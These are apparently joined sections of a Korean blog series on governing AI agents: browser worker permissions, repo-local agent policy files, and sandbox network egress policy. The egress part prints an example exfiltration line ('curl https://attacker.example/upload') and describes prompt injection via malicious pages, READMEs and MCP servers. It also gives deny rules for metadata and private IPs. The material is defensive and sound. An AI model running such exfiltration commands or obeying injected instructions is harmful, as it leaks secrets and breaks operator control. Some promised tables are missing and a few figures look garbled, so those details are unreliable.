4) 브라우저 네트워크 출구도 정책 대상이다

브라우저는 웹을 열기 때문에 자연스럽게 외부 네트워크를 사용합니다. 에이전트가 악성 페이지를 열거나, 내부 페이지의 정보를 외부 폼에 붙여 넣거나, 다운로드 파일을 실행 경로로 넘기면 공급망 문제가 됩니다. 따라서 브라우저 워커에도 egress 정책이 필요합니다.

출발 기준은 다음과 같습니다.

• 업무용 worker는 허용 도메인 allowlist로 시작한다.
• 파일 다운로드는 MIME, 확장자, 크기 제한을 둔다.
• 업로드 input은 사용자 승인 없이는 사용하지 않는다.
• localhost, link-local, private IP 접근은 별도 승인 또는 차단한다.
• 외부 페이지에서 복사한 명령을 터미널에 그대로 실행하지 않는다.

이 기준은 Agent Sandbox Egress Policy와 연결됩니다. 브라우저는 샌드박스 바깥의 세계를 보는 창이므로, 창을 열 때도 출구 정책이 필요합니다.

실무 적용

1) 권한을 read, navigate, interact, commit으로 나눈다

브라우저 권한은 단순히 허용/차단으로 나누기 어렵습니다. 화면을 읽기 위해 클릭과 스크롤이 필요할 수 있고, 로그인 과정에서는 입력도 필요합니다. 대신 action을 단계로 나누면 운영하기 쉽습니다.

일반 정보 확인은 read/navigate만 허용합니다. QA 재현은 interact까지 열 수 있지만 테스트 계정과 테스트 환경에 묶습니다. 운영 변경은 commit 단계로 분리하고, 승인 전에는 dry-run 설명만 하게 합니다. 이 구조를 만들면 에이전트가 “버튼이 보여서 눌렀다"는 사고를 줄일 수 있습니다.

2) 프로필과 계정을 작업 유형별로 분리한다

가장 피해야 할 것은 개인 브라우저 프로필 하나로 모든 자동화를 돌리는 것입니다. 개발자의 개인 SSO 세션, 회사 관리자 권한, 개인 메일, 결제 정보가 뒤섞일 수 있습니다. 최소 분리는 아래처럼 잡습니다.

• 문서 탐색: 비로그인 disposable profile
• 사내 읽기 전용 대시보드: read-only service account
• QA/E2E: 테스트 계정, staging 환경 고정
• 운영 콘솔 확인: least-privilege ops account, 쓰기 승인 필요
• 고객 데이터 화면: PII masking 또는 스크린샷 저장 금지 정책

권한은 넓게 주지 않습니다. 운영 콘솔 계정이라도 읽기와 쓰기를 분리하고, 쓰기 계정은 만료 시간이 있는 세션으로 두는 편이 안전합니다. 브라우저 worker가 30분 이상 유휴 상태면 세션을 폐기하거나 재인증을 요구하는 기준도 좋습니다.

3) 브라우저 자동화에도 테스트 계약을 붙인다

에이전트가 브라우저를 잘 다루는지는 프롬프트로만 보장되지 않습니다. 반복 작업이라면 브라우저 tool contract test를 만들어야 합니다. 예를 들어 “로그인 페이지를 열고 사용자 메뉴 텍스트를 확인한다”, “설정 페이지에서 저장 버튼을 누르지 않고 현재 값을 읽는다”, “허용되지 않은 도메인 이동은 차단된다” 같은 작은 테스트입니다.

권장 기준은 아래와 같습니다.

• 핵심 브라우저 작업 5~10개를 smoke test로 유지한다.
• selector가 아니라 사용자에게 보이는 role/name 기반 확인을 우선한다.
• 쓰기 action은 테스트 환경에서만 자동 실행한다.
• 운영 환경 commit action은 dry-run과 승인 흐름까지 테스트한다.
• 실패한 브라우저 작업은 스크린샷과 console log를 함께 저장한다.

이 방식은 Tool Contract Test의 브라우저 버전입니다. 도구가 있다는 것과 도구가 안전하게 동작한다는 것은 다릅니다.

4) rollout은 관찰에서 변경으로 천천히 간다

Managed Browser Worker는 한 번에 완성하려고 하면 무거워집니다. 도입은 단계적으로 가는 편이 좋습니다.

1. 관찰 단계: 문서, 공개 페이지, 읽기 전용 대시보드만 열기
2. 재현 단계: staging/test 계정으로 QA 플로우 재현
3. 보조 단계: 운영 콘솔에서 값 확인 후 사람이 직접 변경
4. 승인형 변경 단계: 에이전트가 변경안을 설명하고 승인 후 클릭
5. 제한 자동화 단계: 낮은 위험의 반복 작업만 자동 commit

숫자 기준도 필요합니다. 예를 들어 브라우저 작업 성공률이 95% 미만이거나, 같은 유형의 stale selector 문제가 주 2회 이상이면 자동 commit을 열지 않습니다. 운영 변경은 처음 4주 동안 승인형으로만 두고, 실패/롤백 사례가 0건일 때 낮은 위험 작업부터 자동화합니다. 성급한 자동화보다 신뢰 가능한 경계가 더 중요합니다.

5) 운영 정책은 예외 처리까지 포함해야 한다

브라우저 자동화는 정상 플로우보다 예외 플로우에서 더 자주 흔들립니다. 로그인 만료, SSO 재인증, CAPTCHA, 권한 없는 메뉴, 느린 네트워크, A/B 테스트, 팝업 배너, 파일 다운로드 경고가 끼어들면 에이전트는 “다음에 무엇을 해도 되는지"를 판단해야 합니다. 이때 정책이 없으면 에이전트가 임의로 우회하거나, 반대로 사소한 팝업 하나에도 매번 멈춥니다.

운영 정책에는 최소한 아래 예외 기준을 넣는 편이 좋습니다.

중요한 점은 “에이전트가 막혔을 때 더 똑똑하게 우회하게 만들기"가 아니라, 막히는 지점을 안전한 검문소로 바꾸는 것입니다. 예외 처리가 명확하면 운영자가 매번 판단하지 않아도 되고, 에이전트도 불확실한 화면에서 과감한 클릭을 하지 않습니다.

6) 성공 지표는 자동화 횟수가 아니라 안전한 완료율이다

브라우저 워커 도입 성과를 “몇 건을 자동 클릭했는가"로만 보면 위험합니다. 클릭 수는 늘었지만 승인 누락, 잘못된 계정 사용, 증거 부족, 세션 오염이 늘었다면 플랫폼 품질은 나빠진 것입니다. 초기에는 아래처럼 안전성과 재현성을 함께 보는 지표가 더 유용합니다.

• 읽기 전용 작업 완료율: 목표 98% 이상
• 승인 필요 action의 승인 누락률: 0건
• 작업별 증거 패키지 누락률: 1% 미만
• allowlist 밖 도메인 이동 차단 건수와 원인
• 동일 작업 재시도 횟수와 실패 후 중단 비율
• 세션 만료/권한 없음/CAPTCHA 등 human-needed 중단 사유 분포
• 작업 후 사람이 판정을 뒤집은 비율

이 지표를 2~4주 정도 보면 어느 작업이 자동화에 적합한지 드러납니다. 문서 확인, 상태 대시보드 조회, staging QA 재현처럼 읽기 중심인 작업은 빠르게 안정화됩니다. 반면 운영 설정 변경, 권한 관리, 고객 데이터가 보이는 화면은 자동화보다 승인형 보조가 더 오래 필요합니다.

트레이드오프/주의점

Managed Browser Worker의 장점은 현실 세계의 웹 UI를 에이전트가 다룰 수 있다는 점입니다. API가 없거나, 문서가 부족하거나, SaaS 콘솔 확인이 필요한 작업에서 효과가 큽니다. 하지만 브라우저는 가장 불안정한 인터페이스이기도 합니다. DOM이 바뀌고, A/B 테스트가 들어오고, 로그인 만료와 CAPTCHA가 끼어듭니다. 중요한 운영 자동화는 가능하면 API를 우선하고, 브라우저는 API가 없거나 사람 확인이 필요한 구간의 보조 수단으로 두는 편이 안전합니다.

비용도 있습니다. 브라우저 worker는 CPU와 메모리를 많이 쓰고, 스크린샷·trace artifact 저장소도 필요합니다. 동시 실행을 무제한으로 열면 로컬 머신이나 CI runner가 쉽게 포화됩니다. 출발 상한은 작은 팀 기준 동시 브라우저 25개, 작업 timeout 510분, artifact 보존 7~30일 정도가 현실적입니다. 더 큰 규모에서는 브라우저 풀과 큐, 우선순위, 세션 회수 정책이 필요합니다.

보안 착시도 경계해야 합니다. “에이전트에게 브라우저만 줬다"고 안전한 것이 아닙니다. 브라우저는 내부 정보와 외부 입력이 만나는 곳입니다. 복사/붙여넣기, 다운로드, 업로드, OAuth consent, 관리자 설정 저장은 모두 위험 action입니다. 정책, 권한, 로그, 승인, egress 제한이 함께 있어야 합니다.

마지막으로 사용자 경험을 고려해야 합니다. 에이전트가 브라우저를 조작하는 동안 같은 계정을 사람이 쓰면 세션이 꼬일 수 있습니다. 작업용 계정과 작업용 프로필을 분리하고, “현재 에이전트가 어떤 페이지를 조작 중인지"를 표시하는 운영 UX가 필요합니다. 자동화가 사람의 세션을 훔쳐 쓰는 느낌을 주면 도입은 오래가지 못합니다.

체크리스트 또는 연습

도입 체크리스트

• 에이전트용 브라우저 프로필이 개인 브라우저 프로필과 분리되어 있는가?
• read, navigate, interact, commit action의 권한 단계가 정의되어 있는가?
• submit/save/delete/send 같은 외부 효과 action은 승인 필요로 분류되어 있는가?
• 작업별 허용 도메인과 private IP/localhost 접근 정책이 있는가?
• 테스트 계정과 운영 계정이 분리되어 있고, 운영 계정은 최소 권한인가?
• 브라우저 작업마다 URL, 스크린샷 또는 DOM 스냅샷, action log 중 최소 2개 증거가 남는가?
• 실패한 작업의 스크린샷과 console/network 오류를 재검토할 수 있는가?
• 다운로드·업로드·OAuth consent·파일 선택 action에 별도 정책이 있는가?
• 동시 브라우저 수, 작업 timeout, artifact 보존 기간을 숫자로 정했는가?
• 자동 commit을 열기 전에 2~4주간 승인형 운영으로 실패율을 확인했는가?

연습

팀에서 사람이 반복해서 웹 콘솔을 확인하는 작업 하나를 고르세요. 예를 들어 배포 후 feature flag 확인, 결제 대시보드 상태 점검, SaaS 사용자 권한 확인, 문서 사이트 링크 검증 같은 작업입니다. 그 작업을 아래 표로 나눠봅니다.

1. 읽기만 필요한 화면과 실제 변경이 일어나는 버튼
2. 필요한 계정 권한과 금지해야 할 권한
3. 허용 도메인과 차단해야 할 외부 이동
4. 성공 판단에 필요한 스크린샷 또는 DOM 증거
5. 에이전트가 멈추고 사람 승인을 받아야 하는 조건

이 표가 만들어지면 Managed Browser Worker의 첫 정책이 됩니다. 목표는 에이전트에게 브라우저를 마음껏 주는 것이 아닙니다. 브라우저라는 강한 도구를 작은 권한, 남는 증거, 명확한 승인 경계 안에서 쓰게 만드는 것입니다.

그래서 최근 개발 조직에서 중요해지는 흐름이 Repo-local Agent Policy입니다. 이는 단순히 AGENTS.md, CLAUDE.md, .github/copilot-instructions.md 같은 파일을 하나 더 만드는 이야기가 아닙니다. 저장소별 개발 규칙을 에이전트 런타임이 읽고 따르는 계약으로 만들고, CI와 리뷰 시스템이 그 계약을 확인하게 만드는 방향입니다. 이 흐름은 Tool Permission Manifest, Context Contract Registry, Test Evidence Pipeline, Agent Sandbox Egress Policy와 같은 문제의식에서 나옵니다. 모델이 더 똑똑해져도 저장소의 작업 경계가 흐리면 결과는 불안정합니다.

이 글에서 얻는 것

• repo-local agent policy가 단순 스타일 가이드와 어떻게 다른지 이해할 수 있습니다.
• 에이전트에게 반드시 알려야 할 허용 작업, 금지 작업, 검증 게이트, 보고 형식을 나눌 수 있습니다.
• 정책 파일이 길어지거나 도구별로 갈라질 때 생기는 drift를 줄이는 운영 방식을 잡을 수 있습니다.
• AI 코딩 자동화를 도입할 때 policy, CI, 리뷰, 감사 로그를 어떤 우선순위로 연결할지 판단할 수 있습니다.

핵심 개념/이슈

1) 에이전트는 팀 컨벤션을 “추측"하면 안 된다

사람 개발자는 저장소를 몇 번 만지면 암묵지를 익힙니다. 어떤 테스트가 느린지, 생성 파일은 어디인지, migration은 누가 승인하는지, 특정 디렉터리는 자동 생성물이므로 직접 수정하면 안 된다는 사실을 주변 맥락으로 배웁니다. 에이전트는 이런 암묵지를 매번 안정적으로 기억하지 못합니다. 컨텍스트에 없으면 추측하고, 추측은 저장소마다 다르게 실패합니다.

Repo-local policy의 목적은 에이전트를 더 많이 통제하는 것이 아니라, 추측해야 하는 영역을 줄이는 것입니다. 좋은 정책은 아래 질문에 짧게 답합니다.

• 이 저장소에서 기본 빌드·테스트 명령은 무엇인가?
• 변경 전 반드시 읽어야 하는 설계 문서나 모듈 경계는 무엇인가?
• 자동 생성 파일, vendored code, lockfile, migration 파일은 어떻게 다뤄야 하는가?
• 삭제, 대량 포맷팅, 외부 전송, credential 접근은 어떤 조건에서 멈춰야 하는가?
• 작업 완료 보고에 테스트 결과, 변경 파일, 남은 위험을 어떻게 써야 하는가?

이런 질문이 문서에 없으면 에이전트는 “일반적인 프로젝트"처럼 행동합니다. 하지만 운영 저장소는 일반적이지 않습니다. 팀의 배포 습관, 보안 경계, 레거시 제약, 비용 구조가 모두 다릅니다.

2) 정책은 프롬프트가 아니라 저장소의 실행 계약이다

많은 팀이 처음에는 agent instruction을 프롬프트처럼 씁니다. “친절하게 답하라”, “좋은 코드를 작성하라”, “테스트를 꼼꼼히 하라” 같은 문장은 나쁘지는 않지만 운영 기준으로는 약합니다. 실행 계약이 되려면 검증 가능한 문장이어야 합니다.

예를 들어 아래처럼 바꾸는 것이 좋습니다.

핵심은 “잘"이 아니라 어떤 조건에서 무엇을 해야 하는가입니다. 정책은 모델의 성격을 바꾸는 글이 아니라, 작업자의 행동을 제한하고 검증하는 계약입니다.

3) repo-local이어야 하는 이유는 저장소마다 위험이 다르기 때문이다

조직 공통 AI 정책은 필요합니다. 하지만 그것만으로는 부족합니다. 결제 서비스, 디자인 시스템, 데이터 파이프라인, 모바일 앱, 문서 사이트는 위험 기준이 다릅니다. 결제 서비스에서는 migration과 정합성 테스트가 중요하고, 디자인 시스템에서는 시각 회귀와 접근성이 중요합니다. 데이터 파이프라인에서는 backfill과 재처리 비용이 핵심이고, 문서 사이트에서는 링크와 frontmatter가 더 중요합니다.

그래서 정책은 두 계층으로 나누는 편이 좋습니다.

1. 조직 공통 정책: 비밀값, 외부 전송, 승인 경계, 감사 로그, 보안 기본값
2. 저장소 로컬 정책: 빌드 명령, 모듈 경계, 테스트 우선순위, 생성물 처리, 리뷰 증거

저장소 로컬 정책은 루트에 하나만 둘 수도 있고, 디렉터리별로 더 좁게 둘 수도 있습니다. 단, 너무 잘게 쪼개면 충돌합니다. 실무에서는 루트 policy 1개, 위험한 하위 영역 policy 2~5개 이내로 시작하는 편이 관리하기 쉽습니다.

4) 정책 drift는 생각보다 빨리 온다

에이전트 지침 파일이 늘어나면 drift가 생깁니다. README에는 npm test라고 되어 있고, CI는 pnpm test를 돌리며, 특정 도구 지침에는 yarn test가 남아 있는 식입니다. 사람은 대충 알아서 맞추지만 에이전트는 다른 명령을 실행할 수 있습니다.

drift를 줄이려면 canonical source를 정해야 합니다. 예를 들어 docs/agent-policy.md를 원본으로 두고, 도구별 instruction 파일은 “이 원본을 읽어라"와 도구 특화 주의점만 담는 방식입니다. 또는 정책을 YAML/JSON처럼 구조화하고 문서 페이지를 생성할 수도 있습니다. 중요한 것은 정책 변경이 코드 변경처럼 리뷰되어야 한다는 점입니다. 정책은 에이전트의 행동을 바꾸므로, 사실상 런타임 설정입니다.

실무 적용

1) 최소 정책은 4개 섹션이면 충분하다

처음부터 거대한 governance 문서를 만들 필요는 없습니다. 오히려 긴 문서는 에이전트 컨텍스트를 낭비하고, 사람이 업데이트하지 않게 됩니다. 최소 정책은 아래 4개 섹션으로 시작할 수 있습니다.

1. 작업 전 읽을 것: 아키텍처 문서, 모듈 경계, API 계약, 최근 migration 주의점
2. 허용/금지 행동: 자동 실행 가능한 명령, 승인 필요한 변경, 절대 출력하면 안 되는 값
3. 검증 게이트: 변경 유형별 테스트, lint, build, link check, screenshot, migration dry-run
4. 완료 보고 형식: 변경 파일, 테스트 결과, 미검증 항목, rollback/후속 작업

숫자 기준도 넣어야 합니다. 예를 들어 “대량 수정 주의"보다 “20개 이상 파일 변경, 500줄 이상 삭제, DB migration, CI workflow, secret provider 변경은 승인 필요"가 낫습니다. “테스트 실행"보다 “10분 안에 끝나는 최소 관련 테스트를 먼저 실행하고, 전체 테스트가 20분 이상이면 변경 모듈 테스트와 이유를 보고"가 낫습니다.

2) 정책을 CI와 PR 템플릿에 연결한다

정책 파일은 읽히기만 해서는 약합니다. 최소한 CI와 PR 템플릿이 정책의 일부를 확인해야 합니다.

• frontmatter, 링크, generated file 수정 금지처럼 정적 검증 가능한 항목은 CI로 확인
• migration, workflow, secret 관련 변경은 CODEOWNERS 또는 label gate로 reviewer 지정
• PR template에 “policy 준수 증거” 항목 추가
• 에이전트가 남긴 테스트 로그와 실패 이유를 review evidence로 보존
• 정책 파일 변경 자체는 platform 또는 repo owner 리뷰 필수로 지정

이 구조는 AI PR Review Backlog OS와도 연결됩니다. 에이전트가 PR을 많이 만들수록 리뷰어는 코드 전체를 처음부터 읽기보다, 정책 준수 증거와 위험 변경을 먼저 봐야 합니다. 정책은 리뷰 병목을 줄이는 색인 역할을 합니다.

3) 위험 행동은 allowlist보다 escalation rule로 관리한다

모든 위험 행동을 영구 금지하면 자동화가 쓸모없어집니다. 반대로 모두 허용하면 사고가 납니다. 좋은 정책은 위험 행동을 escalation rule로 나눕니다.

예시는 아래와 같습니다.

이 기준은 Agent Sandbox Egress Policy와 같은 방향입니다. 에이전트에게 필요한 능력을 주되, 외부 효과와 권한 확대는 별도 게이트로 빼야 합니다.

4) 정책 준수율을 관측한다

정책은 만들고 끝이 아닙니다. 에이전트가 실제로 지키는지 봐야 합니다. 모든 것을 자동 측정할 필요는 없지만, 최소한 아래 지표는 운영 회고에 유용합니다.

• 에이전트 PR 중 필수 테스트 증거가 빠진 비율
• 정책 위반으로 reviewer가 되돌린 PR 비율
• 승인 필요 action을 사전 보고하지 않고 수행하려 한 횟수
• 정책 파일 변경 후 관련 실패가 줄었는지 여부
• 도구별 instruction drift 발견 건수
• 정책 길이와 실제 준수율의 관계

출발 기준은 보수적으로 잡습니다. 에이전트 PR의 10% 이상에서 같은 정책 위반이 반복되면 모델 문제가 아니라 policy 또는 CI gate가 약한 것입니다. 반대로 정책 위반은 없지만 PR 처리 시간이 계속 늘면 정책이 너무 길거나 리뷰 증거 형식이 비효율적일 수 있습니다.

트레이드오프/주의점

Repo-local policy의 가장 큰 위험은 문서 비대화입니다. 모든 과거 사고와 모든 선호를 넣으면 에이전트가 중요한 규칙을 놓칩니다. 정책은 짧고 강해야 합니다. 권장 길이는 루트 정책 기준 150~300줄 이내, 하위 디렉터리 정책은 80줄 이내입니다. 더 길어지면 문서 본문과 실행 규칙을 분리하는 편이 낫습니다.

두 번째 위험은 도구 종속입니다. 특정 에이전트만 읽는 파일에 모든 정책을 넣으면 다른 도구는 같은 규칙을 모릅니다. 팀이 여러 도구를 쓴다면 canonical policy와 adapter를 분리하세요. 공통 정책은 저장소 표준 위치에 두고, 도구별 파일은 “이 파일을 우선 읽고, 충돌 시 공통 정책을 따른다” 정도로 얇게 유지합니다.

세 번째는 보안 착시입니다. 정책에 “비밀값 출력 금지"라고 적었다고 비밀값 유출이 막히는 것은 아닙니다. 실제 방어는 권한 분리, secret masking, egress 제한, 감사 로그, 승인 흐름이 함께 있어야 합니다. 정책은 중요한 시작점이지만 마지막 방어선은 아닙니다.

마지막으로 정책 변경은 제품 변경처럼 다뤄야 합니다. “테스트를 생략해도 된다"는 한 줄, “외부 API 호출 허용"이라는 한 줄이 자동화의 행동을 바꿉니다. 정책 파일은 가볍게 보이지만 실제로는 개발 런타임의 control plane입니다.

체크리스트 또는 연습

도입 체크리스트

• 저장소 루트에 에이전트가 반드시 읽을 canonical policy 위치가 있는가?
• 정책에 허용 작업, 승인 필요 작업, 금지 작업이 분리되어 있는가?
• 변경 유형별 최소 검증 게이트가 명령어 수준으로 적혀 있는가?
• 삭제 20개 파일 이상, 500줄 이상 제거, migration, secret, CI 권한 변경 같은 숫자 기준이 있는가?
• 정책 변경 자체가 CODEOWNERS 또는 필수 리뷰 대상인가?
• 도구별 instruction 파일이 서로 다른 명령을 가리키지 않는가?
• PR template에 테스트 증거, 미검증 항목, rollback 고려가 포함되어 있는가?
• 외부 전송과 권한 확대는 dry-run과 실제 실행이 분리되어 있는가?
• 정책 위반이 반복될 때 CI gate로 올릴 항목과 문서로 남길 항목을 구분했는가?
• 정책이 300줄을 넘는다면 실행 규칙과 배경 설명을 분리했는가?

연습

지금 팀의 저장소 하나를 골라 에이전트에게 맡길 수 있는 작업 5개와 맡기면 안 되는 작업 5개를 적어보세요. 그리고 각 작업에 대해 아래 네 가지를 채웁니다.

1. 작업 전 반드시 읽어야 할 파일
2. 수정 가능한 경로와 금지 경로
3. 완료 전 실행해야 할 검증 명령
4. 승인 없이 하면 안 되는 외부 효과

이 표를 만들면 repo-local policy의 초안이 거의 완성됩니다. 목표는 에이전트를 믿지 않는 것이 아니라, 믿을 수 있는 작업 단위를 작게 만들고 그 경계를 저장소 안에 남기는 것입니다. AI 코딩 시대의 좋은 저장소는 코드만 읽기 쉬운 저장소가 아니라, 자동화된 작업자가 안전하게 일할 수 있는 저장소입니다.

코딩 에이전트는 이제 단순한 텍스트 생성기가 아닙니다. 터미널에서 패키지를 설치하고, 웹 문서를 가져오고, GitHub issue를 읽고, 내부 API를 호출하고, 때로는 브라우저를 조작합니다. 이 능력은 생산성을 올리지만 동시에 네트워크 출구를 공격 표면으로 만듭니다. 악성 패키지, prompt injection이 숨은 웹 페이지, 오염된 README, compromised MCP server가 에이전트에게 “이 내용을 외부 URL로 보내"라고 지시할 수 있습니다. 파일시스템 샌드박스가 있어도 네트워크가 열려 있으면 민감정보는 밖으로 나갈 수 있습니다.

그래서 최근 개발 플랫폼 관점에서 중요해지는 흐름이 Agent Sandbox Egress Policy입니다. 샌드박스는 더 이상 /tmp 작업 디렉터리와 컨테이너 격리만 뜻하지 않습니다. 어떤 목적의 네트워크 요청을 허용할지, 어떤 도메인은 package proxy를 통해서만 갈지, 내부망은 어떤 service broker로만 열지, 외부 write는 언제 승인할지까지 포함하는 운영 자산이 됩니다. 이 흐름은 Outside-the-Sandbox Harness, Agent Workspace Lease Broker, Tool Permission Manifest, 그리고 오늘 정리한 SSRF와 Egress Control과 같은 방향을 봅니다. 에이전트의 자유도를 높일수록 출구는 더 좁고 명시적으로 관리해야 합니다.

이 글에서 얻는 것

• AI 코딩 에이전트에서 egress policy가 왜 파일 격리만큼 중요한지 이해할 수 있습니다.
• package install, web fetch, internal API, external write를 서로 다른 위험 등급으로 분리할 수 있습니다.
• default-deny sandbox, egress broker, allowlist manifest, session budget, 감사 로그를 어떤 순서로 도입할지 정할 수 있습니다.
• 생산성과 보안 사이의 현실적인 트레이드오프를 숫자와 조건으로 판단할 수 있습니다.

핵심 개념/이슈

1) 에이전트는 “코드를 쓰는 모델"이 아니라 “권한을 가진 컴퓨터 사용자"다

사람 개발자는 의심스러운 명령을 보면 멈출 수 있습니다. 에이전트는 더 빠르게 실행하고, 더 많은 파일을 읽고, 더 많은 URL을 열 수 있습니다. 특히 coding agent가 shell, package manager, browser, MCP tool을 함께 가진 순간 위험 모델이 달라집니다. 이때 에이전트는 IDE 플러그인이 아니라 제한된 권한의 작업자 identity로 봐야 합니다.

위험은 아래처럼 나눌 수 있습니다.

이 표에서 네트워크가 들어가는 순간부터 egress policy가 필요합니다. 에이전트가 어떤 instruction을 받았는지 완벽히 통제하기 어렵다면, 실행 가능한 네트워크 범위를 줄여야 합니다.

2) 샌드박스가 열려 있는 인터넷을 가진다면 반쪽짜리다

컨테이너를 쓰면 안전하다고 생각하기 쉽습니다. 하지만 컨테이너 안에서 curl https://attacker.example/upload가 가능하고, repo secret이나 로그가 읽힌다면 유출은 여전히 가능합니다. 심지어 외부 쓰기 권한이 없어도 DNS query, package registry request, image pull, telemetry endpoint를 통해 일부 정보가 새어 나갈 수 있습니다.

그래서 샌드박스 정책은 최소 네 계층으로 봐야 합니다.

1. 파일시스템: 어떤 경로를 read/write 할 수 있는가
2. 프로세스: 어떤 binary와 script를 실행할 수 있는가
3. 비밀값: 어떤 token, SSH key, cookie가 mount되는가
4. 네트워크: 어떤 destination, protocol, method로 나갈 수 있는가

많은 팀이 1~3번은 논의하지만 4번을 늦게 봅니다. 그러나 에이전트 사고에서 실제 피해는 네트워크를 통해 커지는 경우가 많습니다. 내부 정보가 외부로 나가거나, 외부에서 가져온 지시가 내부 작업에 영향을 주기 때문입니다.

3) Egress 권한은 목적별 capability로 나눠야 한다

“인터넷 허용"은 너무 넓습니다. 코딩 에이전트가 필요한 네트워크 작업은 대부분 몇 가지 capability로 분해할 수 있습니다.

이렇게 나누면 예외를 설명할 수 있습니다. 예를 들어 “문서 fetch는 필요하지만 외부 POST는 필요 없다"는 정책이 가능해집니다. Tool Contract Test가 tool input/output 계약을 검증하듯, egress policy도 capability와 목적을 기준으로 검증해야 합니다.

4) Policy manifest는 샌드박스 실행 전 계약이다

좋은 에이전트 플랫폼은 작업 시작 전에 policy manifest를 생성하거나 선택합니다. 예를 들어 dependency update 작업과 production incident triage 작업은 필요한 네트워크가 다릅니다.

job: dependency-update
risk: medium
network:
  default: deny
  allow:
    - capability: package_read
      destinations: ["registry.npmjs.org", "pypi.org", "repo.maven.apache.org"]
      methods: ["GET", "HEAD"]
      via: "package-proxy"
      max_bytes: "200MB"
    - capability: scm_write
      destinations: ["api.github.com"]
      methods: ["GET", "POST"]
      approval_required_for: ["merge_pr", "comment_external"]
  deny:
    - "169.254.169.254/32"
    - "10.0.0.0/8"
    - "172.16.0.0/12"
    - "192.168.0.0/16"
limits:
  total_egress_mb: 500
  unique_hosts: 20
  session_ttl_minutes: 120

핵심은 이 manifest가 장식 문서가 아니라 실제 네트워크 enforcement와 연결되어야 한다는 점입니다. 설정 파일에는 deny라고 쓰여 있는데 컨테이너가 직접 인터넷으로 나갈 수 있으면 의미가 없습니다.

5) 감사 로그는 “무엇을 요청했는가"보다 “왜 허용됐는가"를 남겨야 한다

에이전트의 네트워크 로그는 단순 access log보다 목적 정보가 필요합니다. 같은 api.github.com 요청도 issue 읽기인지 PR 생성인지, bot comment인지, release publish인지에 따라 위험이 다릅니다.

최소 로그 필드는 아래가 좋습니다.

session_id, task_id, agent_id, policy_id,
capability, destination_host, resolved_ip,
method, bytes_out, bytes_in,
decision(allow|deny), reason,
approval_id(optional), tool_call_id(optional), trace_id

알림 기준도 숫자로 잡습니다.

• deny된 private CIDR 요청이 세션당 3회 이상이면 세션 격리 후 검토
• allowlist에 없는 unique host가 10분에 10개 이상이면 web fetch abuse 의심
• 외부 POST/PUT/PATCH/DELETE는 기본 deny, 예외는 approval_id 필수
• package registry 외부 다운로드가 lockfile 범위를 벗어나면 quarantine
• 세션 egress budget의 **80%**를 넘으면 사용자 확인 또는 작업 중단

이 기준은 보안팀만을 위한 것이 아닙니다. 나중에 에이전트가 왜 실패했는지, 어떤 문서를 읽었는지, 어떤 외부 호출이 변경으로 이어졌는지 개발팀이 이해하는 데도 필요합니다.

실무 적용

1) 첫 단계는 default-deny가 아니라 “관측 가능한 deny 후보” 만들기다

기존 개발 환경에 바로 default-deny를 걸면 테스트와 패키지 설치가 깨질 수 있습니다. 현실적인 시작은 observe mode입니다. 1~2주 동안 에이전트 세션의 outbound destination을 수집하고, 기능별로 분류합니다.

분류 기준은 아래처럼 단순해도 됩니다.

• package registry: npm, PyPI, Maven, Docker registry
• SCM: GitHub/GitLab API, git remote
• docs: 공식 문서, README, issue link
• search/fetch: 일반 웹
• internal: 사내 도메인, private CIDR, VPN-only host
• unknown: 위 분류에 없는 host

그다음 unknown과 internal을 우선 차단 후보로 둡니다. 2주 동안 실제로 필요한 host가 확인되면 owner와 만료일을 붙여 allowlist에 올립니다. 관측 없이 차단하면 불필요한 마찰이 크고, 관측만 하고 정책을 만들지 않으면 로그 쓰레기가 됩니다.

2) package install은 인터넷 직접 접근 대신 프록시로 보낸다

코딩 에이전트가 가장 자주 쓰는 네트워크는 패키지 설치입니다. npm install, pip install, mvn test, go test가 모두 외부 registry에 접근할 수 있습니다. 이 경로는 공급망 보안과 연결되므로 직접 인터넷보다 package proxy나 read-only mirror를 쓰는 편이 낫습니다.

초기 기준은 아래가 좋습니다.

• lockfile이 있으면 lockfile 범위 밖 major upgrade 금지
• postinstall script 실행은 기본 차단 또는 별도 승인
• registry는 공식 mirror/proxy만 허용
• 새 dependency 추가는 PR diff에 자동 표시
• known malicious package, typosquatting, maintainer change 신호는 quarantine
• 에이전트가 생성한 lockfile 변경은 사람이 review하기 전 merge 금지

이 흐름은 Dependency Update Pipeline과 Package Release Quarantine Gate와 직접 연결됩니다. 에이전트가 dependency 작업을 빠르게 만들수록 quarantine과 review는 더 중요해집니다.

3) 웹 fetch는 읽기 전용 broker를 통하게 한다

에이전트가 공식 문서나 issue를 읽는 것은 유용합니다. 하지만 일반 웹 페이지는 prompt injection의 입력이기도 합니다. 그래서 웹 fetch는 broker를 통해 읽기 전용으로 제한합니다.

권장 정책은 아래입니다.

• method는 GET, HEAD만 허용
• request body는 금지
• cookie, Authorization header는 기본 제거
• private/link-local/metadata IP 차단
• redirect는 최대 2회, hop마다 재검증
• body 상한은 문서 2~5MB, PDF/첨부는 별도 승인
• 가져온 본문은 untrusted content로 표시하고 system instruction처럼 취급하지 않음

이 기준은 LLM-readable Docs Surface에도 중요합니다. 문서를 에이전트가 읽기 쉽게 만드는 만큼, 그 문서가 에이전트에게 지시할 수 있는 것처럼 오해하지 않게 경계를 둬야 합니다.

4) 내부 API는 직접 열지 말고 service broker로 추상화한다

가장 위험한 패턴은 에이전트 샌드박스가 VPN 안에서 내부 API 전체를 볼 수 있는 구조입니다. 이 경우 prompt injection 하나가 staging admin API, feature flag, observability, 배포 시스템으로 이어질 수 있습니다.

대신 내부 API는 broker tool로 노출합니다.

Agent Sandbox → approved tool call → Service Broker → Internal API

broker는 action을 read-only, proposal, approval-required write로 나눕니다. 예를 들어 로그 조회는 read-only, rollback plan 생성은 proposal, 실제 rollback은 approval-required write입니다. 이 구분은 MCP Apps에서 다룬 action risk와도 같습니다. 네트워크를 직접 열기보다 의미 있는 도구로 감싸면 권한과 감사가 쉬워집니다.

5) rollout은 세 단계로 가져간다

바로 완벽한 egress control을 만들려고 하면 느려집니다. 추천 rollout은 아래입니다.

1. Observe: 모든 outbound를 로그로 수집하고 private/unknown 요청을 표시한다. 기간은 1~2주.
2. Soft deny: private CIDR, metadata endpoint, 외부 write를 차단하되 override 요청을 받을 수 있게 한다. 기간은 2~4주.
3. Default deny: capability allowlist에 없는 destination은 막고, policy manifest 없는 세션은 네트워크를 열지 않는다.

성공 기준도 정합니다.

• 정상 작업 실패율이 5% 이하로 유지된다.
• unknown host 비율이 2주 연속 전체 outbound의 5% 이하가 된다.
• private/metadata deny 이벤트가 0 또는 설명 가능한 테스트로만 남는다.
• policy exception의 90% 이상에 owner와 expires_at이 있다.
